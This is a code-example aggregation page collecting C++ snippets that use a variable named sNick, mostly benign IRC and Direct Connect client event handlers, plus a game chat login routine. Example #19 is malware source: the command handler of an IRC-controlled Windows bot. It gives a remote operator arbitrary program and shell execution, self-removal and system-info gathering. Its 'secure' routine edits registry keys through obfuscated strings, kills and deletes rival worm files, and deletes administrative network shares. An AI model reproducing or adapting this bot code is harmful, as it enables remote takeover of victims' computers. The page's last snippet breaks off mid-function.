示例#1
0
void wxLIRCCSession::onQuit( const char * event, const char * origin, const char ** params, unsigned int count )
{
    wxArrayString data;
    wxString sNick( origin, wxConvUTF8 );
    wxString sReason( params[0], wxConvUTF8 );

    data.Add( sNick) ;   // The person, who is disconnected.
    data.Add( sReason ); // Optional, contains the reason message (user-specified).

    wxLIRCCSessionEvent sessionevent = wxLIRCCSessionEvent( wxLIRCC_EVT_THREAD_QUIT, wxLIRCC_ID_CHAN_QUIT, this );
    sessionevent.SetParams( data );
    wxQueueEvent( wxLIRCCSessionManager::Get(), sessionevent.Clone() );
}
示例#2
0
void ChatCtrl::FormatChatLine(const tstring& sMyNick, tstring& sText, CHARFORMAT2& cf, bool isMyMessage, const tstring& sAuthor, LONG lSelBegin, bool bUseEmo) {
	// Set text format
	tstring sMsgLower(sText.length(), NULL);
	std::transform(sText.begin(), sText.end(), sMsgLower.begin(), _totlower);

	LONG lSelEnd = lSelBegin + sText.size();
	SetSel(lSelBegin, lSelEnd);
	SetSelectionCharFormat(isMyMessage ? WinUtil::m_ChatTextMyOwn : cf);
	
	// highlight all occurences of my nick
	long lMyNickStart = -1, lMyNickEnd = -1;
	size_t lSearchFrom = 0;	
	tstring sNick(sMyNick.length(), NULL);
	std::transform(sMyNick.begin(), sMyNick.end(), sNick.begin(), _totlower);

	bool found = false;
	while((lMyNickStart = sMsgLower.find(sNick, lSearchFrom)) != tstring::npos) {
		lMyNickEnd = lMyNickStart + (long)sNick.size();
		SetSel(lSelBegin + lMyNickStart, lSelBegin + lMyNickEnd);
		SetSelectionCharFormat(WinUtil::m_TextStyleMyNick);
		lSearchFrom = lMyNickEnd;
		found = true;
	}
	
	if(found) {
		if(	!SETTING(CHATNAMEFILE).empty() && !BOOLSETTING(SOUNDS_DISABLED) &&
			!sAuthor.empty() && (stricmp(sAuthor.c_str(), sNick) != 0)) {
				::PlaySound(Text::toT(SETTING(CHATNAMEFILE)).c_str(), NULL, SND_FILENAME | SND_ASYNC);	 	
        }	
	}

	// highlight all occurences of favourite users' nicks
	FavoriteManager::FavoriteMap ul = FavoriteManager::getInstance()->getFavoriteUsers();
	for(FavoriteManager::FavoriteMap::const_iterator i = ul.begin(); i != ul.end(); ++i) {
		const FavoriteUser& pUser = i->second;

		lSearchFrom = 0;
		sNick = Text::toT(pUser.getNick());
		std::transform(sNick.begin(), sNick.end(), sNick.begin(), _totlower);

		while((lMyNickStart = sMsgLower.find(sNick, lSearchFrom)) != tstring::npos) {
			lMyNickEnd = lMyNickStart + (long)sNick.size();
			SetSel(lSelBegin + lMyNickStart, lSelBegin + lMyNickEnd);
			SetSelectionCharFormat(WinUtil::m_TextStyleFavUsers);
			lSearchFrom = lMyNickEnd;
		}
	}

	// Links and smilies
	FormatEmoticonsAndLinks(sText, sMsgLower, lSelBegin, bUseEmo);
}
示例#3
0
void wxLIRCCSession::onDCCChatReq ( const char * nick, const char * addr, irc_dcc_t dccid )
{
    wxString sNick( nick, wxConvUTF8 );
    wxString sAddr( addr, wxConvUTF8 );

    wxLIRCCSessionEvent sessionevent = wxLIRCCSessionEvent( wxLIRCC_EVT_THREAD_DCCCHAT, wxLIRCC_ID_DCC_CHAT_REQ, this );
    sessionevent.SetOrigin( sNick ); 	// The person who requested DCC CHAT with you.
    sessionevent.SetString( sAddr ); 	// The person's IP address in decimal-dot notation.
    sessionevent.SetId( dccid ); 		// An ID associated with this request. Use it in calls to irc_dcc_accept() or irc_dcc_decline().
    wxQueueEvent( wxLIRCCSessionManager::Get(), sessionevent.Clone() );

// The "DCC Chat" event is triggered when someone requests a DCC CHAT from you.
// See the params in ::irc_event_dcc_chat_t specification.
}
示例#4
0
void wxLIRCCSession::onJoin( const char * event, const char * origin, const char ** params, unsigned int count )
{
	if ( count < 1 ) return;

    wxArrayString data;
    wxString sNick( origin, wxConvUTF8 );
    wxString sChan( params[0], wxConvUTF8 );

    data.Add( sNick ); // Who joins the channel. By comparing it with your own nickname, you can check whether your JOIN command succeed.
    data.Add( sChan ); // Mandatory, contains the channel name.

    wxLIRCCSessionEvent sessionevent = wxLIRCCSessionEvent( wxLIRCC_EVT_THREAD_JOIN, wxLIRCC_ID_CHAN_JOIN, this );
    sessionevent.SetParams( data );
    wxQueueEvent( wxLIRCCSessionManager::Get(), sessionevent.Clone() );
}
示例#5
0
void wxLIRCCSession::onNick ( const char * event, const char * origin, const char ** params, unsigned int count )
{
	if ( count < 1 ) return;

    wxArrayString data;
    wxString sNick( origin, wxConvUTF8 );
    wxString sNewNick( params[0], wxConvUTF8 );

    data.Add(sNick);       // The person, who changes the nick. Note that it can be you!
    data.Add(sNewNick);    // Mandatory, contains the new nick.

    wxLIRCCSessionEvent sessionevent = wxLIRCCSessionEvent( wxLIRCC_EVT_THREAD_NICK, wxLIRCC_ID_CHAN_NICK, this );
    sessionevent.SetParams( data );
    wxQueueEvent( wxLIRCCSessionManager::Get(), sessionevent.Clone() );
}
示例#6
0
void wxLIRCCSession::onCTCPAction( const char * event, const char * origin, const char ** params, unsigned int count )
{
    wxArrayString data;
    wxString sNick( origin, wxConvUTF8 );
    wxString sTarget( params[0], wxConvUTF8 );
    wxString sMsg( params[1], wxConvUTF8 );

    data.Add( sNick );   // Who generates the message.
    data.Add( sTarget ); // Mandatory?, contains the target name.
    data.Add( sMsg );    // Mandatory, the ACTION message.

    wxLIRCCSessionEvent sessionevent = wxLIRCCSessionEvent( wxLIRCC_EVT_THREAD_CTCPACT, wxLIRCC_ID_CTCP_ACTION, this );
    sessionevent.SetParams( data );
    wxQueueEvent( wxLIRCCSessionManager::Get(), sessionevent.Clone() );
}
示例#7
0
void wxLIRCCSession::onUserMode( const char * event, const char * origin, const char ** params, unsigned int count )
{
	if ( count < 1 ) return;

    wxArrayString data;
    wxString sNick( origin, wxConvUTF8 );
    wxString sMode( params[0], wxConvUTF8 );

    data.Add( sNick ); // Who changed the user mode.
    data.Add( sMode ); // Mandatory, contains the user changed mode, like '+t', '-i' and so on.

    wxLIRCCSessionEvent sessionevent = wxLIRCCSessionEvent( wxLIRCC_EVT_THREAD_U_MODE, wxLIRCC_ID_USER_MODE, this );
    sessionevent.SetParams( data );
    wxQueueEvent( wxLIRCCSessionManager::Get(), sessionevent.Clone() );
}
示例#8
0
void wxLIRCCSession::onTopic( const char * event, const char * origin, const char ** params, unsigned int count )
{
	if ( count < 1 ) return;

    wxArrayString data;
    wxString sNick( origin, wxConvUTF8 );
    wxString sChan( params[0], wxConvUTF8 );
    wxString sTopic( params[1], wxConvUTF8 );

    data.Add( sNick );   // Who changes the channel topic.
    data.Add( sChan );   // Mandatory, contains the channel name.
    data.Add( sTopic );  // Optional, contains the new topic.

    wxLIRCCSessionEvent sessionevent = wxLIRCCSessionEvent( wxLIRCC_EVT_THREAD_TOPIC, wxLIRCC_ID_CHAN_TOPIC, this );
    sessionevent.SetParams( data );
    wxQueueEvent( wxLIRCCSessionManager::Get(), sessionevent.Clone() );
}
示例#9
0
void wxLIRCCSession::onPrivMsg( const char * event, const char * origin, const char ** params, unsigned int count )
{
    if ( count < 1 ) return;

    wxArrayString data;
    wxString sNick( origin, wxConvUTF8 );
    wxString sMe( params[0], wxConvUTF8 );
    wxString sMsg( params[1], wxConvUTF8 );

    data.Add( sNick );   // Who generates the message.
    data.Add( sMe );     // Mandatory, contains your nick.
    data.Add( sMsg );    // Optional, contains the message text

    wxLIRCCSessionEvent sessionevent = wxLIRCCSessionEvent( wxLIRCC_EVT_THREAD_PRIVMSG, wxLIRCC_ID_USER_MSG, this );
    sessionevent.SetParams( data );
	wxQueueEvent( wxLIRCCSessionManager::Get(), sessionevent.Clone() );
}
示例#10
0
void wxLIRCCSession::onChanNotice( const char * event, const char * origin, const char ** params, unsigned int count )
{
    if ( count < 1 ) return;

    wxArrayString data;
    wxString sNick( origin, wxConvUTF8 );
    wxString sTarget( params[0], wxConvUTF8 );
    wxString sMsg( params[1], wxConvUTF8 );

    data.Add( sNick );   // Who generates the message.
    data.Add( sTarget ); // Mandatory, contains the channel name.
    data.Add( sMsg );    // Optional, contains the message text.

    wxLIRCCSessionEvent sessionevent = wxLIRCCSessionEvent( wxLIRCC_EVT_THREAD_CHAN_NOTICE, wxLIRCC_ID_CHAN_NOTICE, this );
    sessionevent.SetParams( data );
    wxQueueEvent( wxLIRCCSessionManager::Get(), sessionevent.Clone() );
}
示例#11
0
void wxLIRCCSession::onPart( const char * event, const char * origin, const char ** params, unsigned int count )
{
	if ( count < 1 ) return;

    wxArrayString data;
    wxString sNick( origin, wxConvUTF8 );
    wxString sChan( params[0], wxConvUTF8 );
    wxString sReason( params[1], wxConvUTF8 );

    data.Add( sNick );   // Who parts the channel. By comparing it with your own nickname, you can check whether your PART command succeed.
    data.Add( sChan );   // Mandatory, contains the channel name.
    data.Add( sReason ); // Optional, contains the reason message (user-defined).

    wxLIRCCSessionEvent sessionevent = wxLIRCCSessionEvent( wxLIRCC_EVT_THREAD_PART, wxLIRCC_ID_CHAN_PART, this );
    sessionevent.SetParams( data );
    wxQueueEvent( wxLIRCCSessionManager::Get(), sessionevent.Clone() );
}
示例#12
0
BOOL CDCNeighbour::OnChat(CDCPacket* pPacket)
{
	// Chat message
	// <Nick> Message|

	if ( LPCSTR szMessage = strchr( (LPCSTR)pPacket->m_pBuffer, '>' ) )
	{
		int nNickLen = szMessage - (LPCSTR)pPacket->m_pBuffer - 1;
		CString sNick( UTF8Decode( (LPCSTR)&pPacket->m_pBuffer[ 1 ], nNickLen ) );

		if ( nNickLen > 0 && m_sNick != sNick )
		{
			ChatCore.OnMessage( this, pPacket );
		}
	}

	return TRUE;
}
示例#13
0
void wxLIRCCSession::onKick( const char * event, const char * origin, const char ** params, unsigned int count )
{
	if ( count < 1 ) return;

    wxArrayString data;
    wxString sNick( origin, wxConvUTF8 );
    wxString sChan( params[0], wxConvUTF8 );
    wxString sKicked( params[1], wxConvUTF8 );
    wxString sReason( params[2], wxConvUTF8 );

    data.Add( sNick );  	// Who kicked the poor.
    data.Add( sChan ); 		// Mandatory, contains the channel name.
    data.Add( sKicked ); 	// Optional, contains the nick of kicked person.
    data.Add( sReason ); 	// Optional, contains the kick text.

    wxLIRCCSessionEvent sessionevent = wxLIRCCSessionEvent( wxLIRCC_EVT_THREAD_KICK, wxLIRCC_ID_CHAN_KICK, this );
    sessionevent.SetParams( data );
    wxQueueEvent( wxLIRCCSessionManager::Get(), sessionevent.Clone() );
}
示例#14
0
void wxLIRCCSession::onMode( const char * event, const char * origin, const char ** params, unsigned int count )
{
	if ( count < 2 ) return;

    wxArrayString data;
    wxString sNick( origin, wxConvUTF8 );
    wxString sChan( params[0], wxConvUTF8 );
    wxString sChanMode( params[1], wxConvUTF8 );
    wxString sModeArg( params[2], wxConvUTF8 );

    data.Add( sNick );       // Who changed the channel mode.
    data.Add( sChan );       // Mandatory, contains the channel name.
    data.Add( sChanMode );   // Mandatory, contains the changed channel mode, like '+t', '-s' and so on.
    data.Add( sModeArg );    // Optional, contains the mode argument
                           // (e.g. a key for +k mode, or user who got the channel operator status for +o mode)
    wxLIRCCSessionEvent sessionevent = wxLIRCCSessionEvent( wxLIRCC_EVT_THREAD_MODE, wxLIRCC_ID_CHAN_MODE, this );
    sessionevent.SetParams( data );
    wxQueueEvent( wxLIRCCSessionManager::Get(), sessionevent.Clone() );
}
示例#15
0
void wxLIRCCSession::onDCCSendReq ( const char * nick, const char * addr, const char * filename, unsigned long size, irc_dcc_t dccid )
{
    wxArrayString data;
    wxString sNick( nick, wxConvUTF8 );
    wxString sAddr( addr, wxConvUTF8 );
    wxString sFilename( filename, wxConvUTF8 );
	data.Add( sAddr );
	data.Add( sFilename );

    wxLIRCCSessionEvent sessionevent = wxLIRCCSessionEvent( wxLIRCC_EVT_THREAD_DCCSEND, wxLIRCC_ID_DCC_SEND_REQ, this );
    sessionevent.SetOrigin( sNick ); 	// Who wants to send a file to you using DCCSEND.
    sessionevent.SetParams( data ); 	// The person's IP address in decimal-dot notation...
										// ...and the sent filename.
	sessionevent.SetExtraLong( size ); 	// The filename size.
    sessionevent.SetId( dccid ); 		// An ID associated with this request. Use it in calls to irc_dcc_accept() or irc_dcc_decline().
    wxQueueEvent( wxLIRCCSessionManager::Get(), sessionevent.Clone() );

// The "DCC Send" event is triggered wants to send a file to you using DCC SEND.
// As with chat, in respond you should call either irc_dcc_accept() to accept this request and receive the file,
// or irc_dcc_decline() to decline this request.
}
示例#16
0
BOOL CDCNeighbour::OnRevConnectToMe(LPSTR szParams)
{
	// Callback connection request
	// $RevConnectToMe RemoteNick MyNick|

	if ( LPSTR szRemoteNick = szParams )
	{
		if ( LPSTR szMyNick = strchr( szRemoteNick, ' ' ) )
		{
			*szMyNick++ = 0;

			CString sNick( UTF8Decode( szMyNick ) );
			CString sRemoteNick( UTF8Decode( szRemoteNick ) );

			if ( m_bNickValid && m_sNick == sNick )
			{
				ConnectToMe( sRemoteNick );
			}
		}
	}

	return TRUE;
}
示例#17
0
BOOL CDCNeighbour::OnUserIP(LPSTR szIP)
{
	// User address
	// $UserIP MyNick IP|

	if ( LPSTR szMyNick = szIP )
	{
		if ( LPSTR szAddress = strchr( szMyNick, ' ' ) )
		{
			*szAddress++ = 0;

			CString sNick( UTF8Decode( szMyNick ) );

			if ( m_bNickValid && m_sNick == sNick )
			{
				IN_ADDR nAddress;
				nAddress.s_addr = inet_addr( szAddress );
				Network.AcquireLocalAddress( nAddress );
			}
		}
	}

	return TRUE;
}
示例#18
0
文件: C4ChatDlg.cpp 项目: ev1313/yaC
void C4ChatControl::OnConnectBtn(C4GUI::Control *btn) {
  // check parameters
  StdCopyStrBuf sNick(pEdtLoginNick->GetText());
  StdCopyStrBuf sPass(pEdtLoginPass->GetText());
  StdCopyStrBuf sRealName(pEdtLoginRealName->GetText());
  StdCopyStrBuf sChannel(pEdtLoginChannel->GetText());
  StdCopyStrBuf sServer(Config.IRC.Server);
  if (C4InVal::ValidateString(sNick, C4InVal::VAL_IRCName)) {
    GetScreen()->ShowErrorMessage(LoadResStr("IDS_ERR_INVALIDNICKNAME"));
    GetDlg()->SetFocus(pEdtLoginNick, false);
    return;
  }
  if (sPass.getLength() &&
      C4InVal::ValidateString(sPass, C4InVal::VAL_IRCPass)) {
    GetScreen()->ShowErrorMessage(
        LoadResStr("IDS_ERR_INVALIDPASSWORDMAX31CHARA"));
    GetDlg()->SetFocus(pEdtLoginPass, false);
    return;
  }
  if (sChannel.getLength() &&
      C4InVal::ValidateString(sChannel, C4InVal::VAL_IRCChannel)) {
    GetScreen()->ShowErrorMessage(LoadResStr("IDS_ERR_INVALIDCHANNELNAME"));
    GetDlg()->SetFocus(pEdtLoginChannel, false);
    return;
  }
  if (!sPass.getLength()) sPass.Clear();
  if (!sChannel.getLength()) sChannel.Clear();
  // store back config values
  SCopy(sNick.getData(), Config.IRC.Nick, CFG_MaxString);
  SCopy(sRealName.getData(), Config.IRC.RealName, CFG_MaxString);
  SCopy(sChannel.getData(), Config.IRC.Channel, CFG_MaxString);
  // show chat warning
  StdStrBuf sWarnMsg;
  sWarnMsg.Format(LoadResStr("IDS_MSG_YOUAREABOUTTOCONNECTTOAPU"),
                  sServer.getData());
  if (!GetScreen()->ShowMessageModal(
          sWarnMsg.getData(), LoadResStr("IDS_MSG_CHATDISCLAIMER"),
          C4GUI::MessageDialog::btnOKAbort, C4GUI::Ico_Notify,
          &Config.Startup.HideMsgIRCDangerous))
    return;
  // set up IRC callback
  pIRCClient->SetNotify(&Application.InteractiveThread);
  // initiate connection
  if (!pIRCClient->Connect(sServer.getData(), sNick.getData(),
                           sRealName.getData(), sPass.getData(),
                           sChannel.getData())) {
    GetScreen()->ShowErrorMessage(
        FormatString(LoadResStr("IDS_ERR_IRCCONNECTIONFAILED"),
                     pIRCClient->GetError()).getData());
    return;
  }
  // enable client execution
  Application.InteractiveThread.AddProc(pIRCClient);
  // reset chat sheets (close queries, etc.)
  ClearChatSheets();
  // connection message
  ChatSheet *pServerSheet = GetServerSheet();
  if (pServerSheet) {
    pServerSheet->SetChatTitle(sServer.getData());
    pServerSheet->AddTextLine(FormatString(LoadResStr("IDS_NET_CONNECTING"),
                                           sServer.getData(), "").getData(),
                              C4GUI_MessageFontClr);
  }
  // switch to server window
  UpdateShownPage();
}
示例#19
0
bool CBot::HandleCommand(CMessage *pMsg)
{	
	// ID
	if(!pMsg->sCmd.Compare(m_cmdId.sName.CStr())) {
		return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, bot_id.sValue.Str(), pMsg->sReplyTo.Str()); 
	}

	// Execute
	else if(!pMsg->sCmd.Compare(m_cmdExecute.sName.CStr()))
	{
		CString sText(pMsg->sChatString.Token(2, " ", true)); bool bVisible=atoi(pMsg->sChatString.Token(1, " ").CStr())==1;
		#ifdef WIN32
			CString sTextExp; ExpandEnvironmentStrings(sText.CStr(), sTextExp.GetBuffer(8192), 8192); // interpret environment variables
			sText.Assign(sTextExp); 
			PROCESS_INFORMATION pinfo; 
			STARTUPINFO sinfo;
			memset(&sinfo, 0, sizeof(STARTUPINFO)); 
			sinfo.cb=sizeof(sinfo);
			if(bVisible) sinfo.wShowWindow=SW_SHOW; else sinfo.wShowWindow=SW_HIDE;
			if(!CreateProcess(NULL, sText.Str(), NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo)) {
			g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "exec.error", pMsg->sReplyTo.Str()); return false; }
		#endif
		return true; 
	}

	// Remove Bot
	else if(!pMsg->sCmd.Compare(m_cmdRemove.sName.Str())) 
	{
		CString sNick(pMsg->sChatString.Token(1, " ", true));
		if (!sNick.Compare(g_cMainCtrl.m_sUserName.CStr())) {
			if(g_cMainCtrl.m_cBot.as_enabled.bValue)
				g_cMainCtrl.m_cInstaller.RegStartDel(g_cMainCtrl.m_cBot.as_valname.sValue);
			if(g_cMainCtrl.m_cBot.as_service.bValue)
				g_cMainCtrl.m_cInstaller.ServiceDel(g_cMainCtrl.m_cBot.as_service_name.sValue);
			g_cMainCtrl.m_cInstaller.Uninstall();
			g_cMainCtrl.m_cIRC.m_bRunning=false;
			g_cMainCtrl.m_bRunning=false; 
		}
	}

	// About
	else if(!pMsg->sCmd.Compare(m_cmdAbout.sName.CStr())) {
		return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, g_cMainCtrl.m_sNameVerStr.Str(), pMsg->sReplyTo.Str()); 
	}

	
	// Flush DNS
	else if(!pMsg->sCmd.Compare(m_cmdFlushDNS.sName.CStr())) 
	{
		#ifdef WIN32
			// ipconfig.exe /flushdns
			Execute(dp(9,16,3,15,14,6,9,7,78,5,24,5,0).CStr(), dp(80,6,12,21,19,8,4,14,19,0).CStr());
		#endif
		return true; 
	}

	// Open File
	else if(!pMsg->sCmd.Compare(m_cmdOpen.sName.CStr())) 
	{
		CString sText; 
		sText=pMsg->sChatString.Token(1, " ").CStr(); 
		CString bRet;

		bRet=(char)ShellExecute(
			NULL, 
			"open", 
			sText.CStr(), 
			NULL,
			NULL,
			SW_SHOWNORMAL
		);

	//	bRet=system(sText.CStr())>0;
	//	if(bRet) return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "file opened.", pMsg->sReplyTo.Str());
		//else return 
		g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, bRet.Str(), pMsg->sReplyTo.Str()); 
	}

	// Quit
	else if(!pMsg->sCmd.Compare(m_cmdQuit.sName.CStr())) 
	{
		g_cMainCtrl.m_cIRC.m_bRunning=false; 
		return true; 
	}

	// DNS
	else if(!pMsg->sCmd.Compare(m_cmdDns.sName.CStr())) 
	{
		CString sReply; 
		hostent *pHostent=NULL; 
		in_addr iaddr;
		if(!pMsg->sChatString.Token(1, " ").Compare("")) return false;
		unsigned long addr=inet_addr(pMsg->sChatString.Token(1, " ").CStr());
		if(addr!=INADDR_NONE) {
			pHostent=gethostbyaddr((char*)&addr, sizeof(struct in_addr), AF_INET);
			if(pHostent) {
				sReply.Format("%s resolved %s", pMsg->sChatString.Token(1, " ").CStr(), pHostent->h_name);
				return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); 
			}
		} else {
			pHostent=gethostbyname(pMsg->sChatString.Token(1, " ").CStr());
			if(pHostent) {
				iaddr=*((in_addr*)*pHostent->h_addr_list);
				sReply.Format("%s -> %s", pMsg->sChatString.Token(1, " ").CStr(), inet_ntoa(iaddr));
				return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); 
			} 
		}
		if(!pHostent) {
			sReply.Format("resolve.error %s.", pMsg->sChatString.Token(1, " ").CStr());
			return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); 
		} 
	}

	// Random Nickname
	else if(!pMsg->sCmd.Compare(m_cmdRndNick.sName.CStr())) 
	{
		CString sRndNick=RndNick(si_nickprefix.sValue.CStr());
		g_cMainCtrl.m_cIRC.SendRawFormat("%s %s\r\n", dp(40,35,29,37,0).CStr(), sRndNick.CStr());
		g_cMainCtrl.m_sUserName.Format("%s", sRndNick.Mid(0, 32).CStr());
		return true; 
	}

	// Run Command
	else if(!pMsg->sCmd.Compare(m_cmdCommand.sName.CStr())) 
	{	
		#ifdef WIN32
			if(!(pMsg->sChatString.GetLength() > (pMsg->sCmd.GetLength()+pMsg->sChatString.Token(1, " ").GetLength()+3))) return false;
			CString sText; sText.Assign(&pMsg->sChatString[pMsg->sCmd.GetLength()+2]); 
			bool bRet=false;
			CString sReplyBuf; 
			sReplyBuf.Format("Executed: %s.", sText.CStr());
			if(system(sText.CStr())==-1) 
			{ 
				g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "exec.error", pMsg->sReplyTo.Str()); return false; 
			} else { 
				g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReplyBuf.Str(), pMsg->sReplyTo.Str()); return false; 
			}
		#endif
		return true; 
	}

	// System Information
	else if(!pMsg->sCmd.Compare(m_cmdSysInfo.sName.CStr())) 
	{
		return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, SysInfo().Str(), pMsg->sReplyTo.Str()); 
	}

	// Find Files
	//else if(!pMsg->sCmd.Compare(m_cmdFindFiles.sName.CStr())) 
//	{
	/*	CString strMask = pMsg->sChatString.Token(1, " ");
		CString strDir  = pMsg->sChatString.Token(2, " ");
		return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, FindFiles(strMask, strDir), pMsg->sReplyTo.Str()); 
	*/
	//}

	// Change Nickname
	else if(!pMsg->sCmd.Compare(m_cmdNick.sName.CStr())) 
	{
		g_cMainCtrl.m_sUserName.Format("%s", pMsg->sChatString.Token(1, " ", true).Mid(0, 32).CStr());
		g_cMainCtrl.m_cIRC.SendRawFormat("%s %s\r\n", dp(40,35,29,37,0).CStr(), g_cMainCtrl.m_sUserName.CStr());
		return true; 
	}

	// Uptime check (default: 7d)
	else if(!pMsg->sCmd.Compare(m_cmdLongUptime.sName.CStr())) 
	{
		int iDays=atoi(pMsg->sChatString.Token(1, " ").CStr()); 
		if(!iDays) iDays=7;
		CString sUptime=LongUptime(iDays);
		if(sUptime.Compare("")) {
			g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, \
				sUptime.Str(), pMsg->sReplyTo.Str());
		}
		return true; 
	}


	// Secure Bot
	else if(!pMsg->sCmd.Compare(m_cmdSecure.sName.CStr())) 
	{	
		#ifdef WIN32
		CString regLoc;
		regLoc = dp(45,15,6,20,23,1,18,5,80,39,9,3,18,15,19,15,6,20,80,49,9,14,4,15,23,19,80,29,21,18,18,5,14,20,48,5,18,19,9,15,14,80,44,21,14,0).CStr();


		HKEY hkey=NULL; DWORD dwSize=128; char szDataBuf[128];
		strcpy(szDataBuf, "N"); dwSize=strlen(szDataBuf);
		LONG lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\OLE", 0, KEY_READ, &hkey);
		RegSetValueEx(hkey, dp(31,14,1,2,12,5,30,29,41,39,0).CStr(), NULL, REG_SZ, (unsigned char*)szDataBuf, dwSize);
		RegCloseKey(hkey);
		
		lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, regLoc.CStr(), 0, KEY_ALL_ACCESS, &hkey);
		RegDeleteValue(hkey, dp(45,19,1,20,5,78,5,24,5,0).CStr());
		RegCloseKey(hkey);
		KillProcess(dp(9,18,21,14,72,78,5,24,5,0).CStr());
		CString tmpBagle; GetSystemDirectory(tmpBagle.GetBuffer(MAX_PATH), MAX_PATH);
		tmpBagle.Format("%s\\%s",tmpBagle.CStr(), dp(9,18,21,14,72,78,5,24,5,0).CStr());
		DeleteFile(tmpBagle);

		lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, regLoc.CStr(), 0, KEY_ALL_ACCESS, &hkey);
		RegDeleteValue(hkey, dp(18,1,20,5,78,5,24,5,0).CStr());
		RegCloseKey(hkey);
		KillProcess(dp(9,69,69,18,73,72,14,72,78,5,24,5,0).CStr());
		GetSystemDirectory(tmpBagle.GetBuffer(MAX_PATH), MAX_PATH);
		tmpBagle.Format("%s\\%s",tmpBagle.CStr(),dp(9,69,69,18,73,72,14,72,78,5,24,5,0).CStr());
		DeleteFile(tmpBagle);

		lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, regLoc.CStr(), 0, KEY_ALL_ACCESS, &hkey);
		RegDeleteValue(hkey, dp(19,19,1,20,5,78,5,24,5,0).CStr());
		RegCloseKey(hkey);
		KillProcess(dp(23,9,14,19,25,19,78,5,24,5,0).CStr());
		GetSystemDirectory(tmpBagle.GetBuffer(MAX_PATH), MAX_PATH);
		tmpBagle.Format("%s\\%s",tmpBagle.CStr(), dp(23,9,14,19,25,19,78,5,24,5,0).CStr());
		DeleteFile(tmpBagle);

		lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, regLoc.CStr(), 0, KEY_ALL_ACCESS, &hkey);
		RegDeleteValue(hkey, dp(4,71,4,21,16,4,1,20,5,78,5,24,5,0).CStr());
		RegCloseKey(hkey);
		KillProcess(dp(2,2,5,1,7,12,5,78,5,24,5,0).CStr());
		GetSystemDirectory(tmpBagle.GetBuffer(MAX_PATH), MAX_PATH);
		tmpBagle.Format("%s\\%s",tmpBagle.CStr(), dp(2,2,5,1,7,12,5,78,5,24,5,0).CStr());
		DeleteFile(tmpBagle);

		lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, regLoc.CStr(), 0, KEY_ALL_ACCESS, &hkey);
		RegDeleteValue(hkey, dp(46,1,19,11,39,15,14,0).CStr());
		RegCloseKey(hkey);
		KillProcess(dp(20,1,19,11,13,15,14,78,5,24,5,0).CStr());
		GetSystemDirectory(tmpBagle.GetBuffer(MAX_PATH), MAX_PATH);
		tmpBagle.Format("%s\\%s",tmpBagle.CStr(), dp(20,1,19,11,13,15,14,78,5,24,5,0).CStr());
		DeleteFile(tmpBagle);

		lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, regLoc.CStr(), 0, KEY_ALL_ACCESS, &hkey);
		RegDeleteValue(hkey, dp(31,24,16,12,15,18,5,18,0).CStr());
		RegCloseKey(hkey);

		system("net share c$ /delete /y");
		system("net share d$ /delete /y");
		system("net share ipc$ /delete /y");
		system("net share admin$ /delete /y");



		#endif
		return true; 
	}

	return false; 
}
示例#20
0
BOOL CDCNeighbour::OnUserInfo(LPSTR szInfo)
{
	// User info
	// $MyINFO $ALL nick description<tag>$ $connection$e-mail$sharesize$|

	if ( strncmp( szInfo, _P("$ALL ") ) == 0 )
	{
		LPSTR szNick = szInfo + 5;
		if ( LPSTR szDescription = strchr( szNick, ' ' ) )
		{
			*szDescription++ = 0;

			CString sNick( UTF8Decode( szNick ) );

			CChatUser* pUser;
			if ( ! m_oUsers.Lookup( sNick, pUser ) )
			{
				pUser = new CChatUser;
				m_oUsers.SetAt( sNick, pUser );
			}
			pUser->m_bType = ( sNick == m_sNick ) ? cutMe : cutUser;
			pUser->m_sNick = sNick;

			if ( LPSTR szConnection = strchr( szDescription, '$' ) )
			{
				*szConnection++ = 0;

				if ( LPSTR szVendor = strchr( szDescription, '<' ) )
				{
					if ( *(szConnection - 2) == '>' )
					{
						*szVendor++ = 0;
						*(szConnection - 2) = 0;

						CStringA sVersion;
						if ( LPSTR szTags = strchr( szVendor, ' ' ) )
						{
							*szTags++ = 0;

							for ( CStringA sTags( szTags ); ! sTags.IsEmpty(); )
							{
								CStringA sTag = sTags.SpanExcluding( "," );
								sTags = sTags.Mid( sTag.GetLength() + 1 );
								if ( sTag.IsEmpty() )
									continue;
								int nPos = sTag.Find( ':' );
								if ( nPos > 0 )
								{
									CStringA sTagName = sTag.Left( nPos );
									sTag = sTag.Mid( nPos + 1 );

									if ( sTagName == "V" )
									{
										// Version

										sVersion = sTag;
									}
									else if ( sTagName == "M" )
									{
										// Mode
									}
									else if ( sTagName == "H" )
									{
										// Hubs
									}
									else if ( sTagName == "S" )
									{
										// Slots
									}
								}
							}
						}

						pUser->m_sUserAgent = UTF8Decode( szVendor );
						if ( ! sVersion.IsEmpty() )
							pUser->m_sUserAgent += _T(" ") + UTF8Decode( sVersion );
					}
				}
			}

			pUser->m_sDescription = UTF8Decode( szDescription );

			if ( m_nNodeType == ntHub )
			{
